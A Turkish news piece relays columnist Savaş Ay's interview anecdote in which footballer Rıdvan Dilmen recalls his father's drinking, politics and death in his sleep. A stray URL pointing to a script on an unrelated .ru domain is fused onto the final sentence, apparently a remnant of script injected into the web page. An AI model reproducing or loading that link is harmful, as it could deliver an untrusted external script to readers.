SİZİN HİÇ BABANIZ ÖLDÜ MÜ?..RIDVAN DİLMEN'İN ÖLDÜ!..FUTBOLUN ŞEYTANI "BABASINI VE ÖLÜMÜNÜ" ANLATTI,SAVAŞ AY'I AĞLATTI!..
Takvim yazarı Savaş Ay,Türk futbolunun ve Fenerbahçe'nin efsane isimlerinden Rıdvan Dilmen ile yaptığı söyleşiden bir anekdotu köşesine taşıdı.İşte Rıdvan'ın okuyanı hüzne boğacak,boğazını düğümleyecek küçüklük öyküsü....
Rıdvan Beni Ağlattı
Rıdvan Dilmen'le hafta sonu Saklambaç eki için uzun bir söyleşi yaptım. Kısmet olursa yarın okur beğenirsiniz. Ancak bu efsane adamın yaşamından cımbızladığım öyle bir anekdot var ki, dayanamayıp bugünden paylaşıyorum sizinle. Gelin, "futbolun şeytanı" Rıdvan'ın bu nakavt edici küçüklük öyküsünü okuyun şimdiden.
SIKI İÇİCİ...
"Babam Mehmet Lütfü Bey kahramanımdı benim. İşçi emeklisiydi. Sonradan Nazilli Adliyesi önünde arzuhalcilik yapmaya başladı. Facit marka bir daktilosu vardı. 'Sevgilim' derdi ona. Okşar, konuşurdu. Son 6 yıl alkolden kurtulmak için tedavi gördü. Ondan öncesi uzun yıllar çok sıkı içmişti. Dimitro Kopula şaraplarının boş şişeleriyle doluydu her yerimiz. Belki de o yüzden hep içkiden uzak durdum ben. Rakının tadı nasıldır bilmem.
'KAPILARI KIRARDI'
İlkokul mezunuydu ama İngilizce, Fransızca, Osmanlıca bilirdi. Nasıl öğrendi, kim öğretti hiç söylemedi. Aşırı solcuydu. Evin içi kütüphane gibiydi. Neler neler okurdu. Bazen de çekicini alır, kızdığı zenginlerin evlerine gider kapıyı, bacayı, camı kırardı çekiçle. Evimiz sobalıydı. Soba ise sadece oturma odasını ısıttığından, diğer bölümler buz gibi olurdu kışın.
'EN BÜYÜK KEYİF'
Babam o soğuk kış gecelerinde uykuya çekilmeden önce bana ve abilerime dönüp 'Hadi bakalım sıra hanginizdeyse ısıtsın yatağımı' derdi.
Onun yatağına girmek, yatağı ısıtmak ve karşılığında harçlık almak en büyük keyfimizdi. Büyük abime 5 verirse, küçüğüne 3, bana ise 1 verirdi harçlık olarak. 10-15 dakika yatakta kalır, fırın gibi yapar çıkardık orayı. Bir tekir kedimiz vardı. Babamın geliş saatini de, hangi sokaktan geleceğini de hisseder, köşede beklerdi onu. Uzaktan gördüğünde kuyruğunu sallamaya başlar, biz de anlardık babamızın geldiğini.
'TAMAM BABACIĞIM'
O gün ilk defa kuyruğunu sallamadı tekir kedi. Şaşırdık, 'Hayvan işte' diye geçiştirdik. Nöbet sırası bendeydi. Koşarak atladım yatağa. 5-10 dakika kalıp sımsıcak ettim o buz gibi yorgan döşeği.
Sonra da 'Tamam babacığım. Yatağın hazır' diye bağırdım. Geldi, önce harçlığımı verdi. Sonra saçlarımı okşayıp, yanaklarımı öpüp 'Aslan oğlum benim' dedi ve girdi yatağına. Ama ne acı ki, o sabah kalkamadı yatağından babam... Ölmüştü
'UNUTAMADIM'
Uykusunda... Benim ısıttığım yatakta uyurken ölmüştü... Son uykusuna benim ısıttığım o yatakta yatmıştı meğer...
Ben bunu hiiiç unutmadım. Ben bu olayı hiç mi hiç unutamadım hayatım boyunca Savaş Abi."http://www.81dns.ru/script.j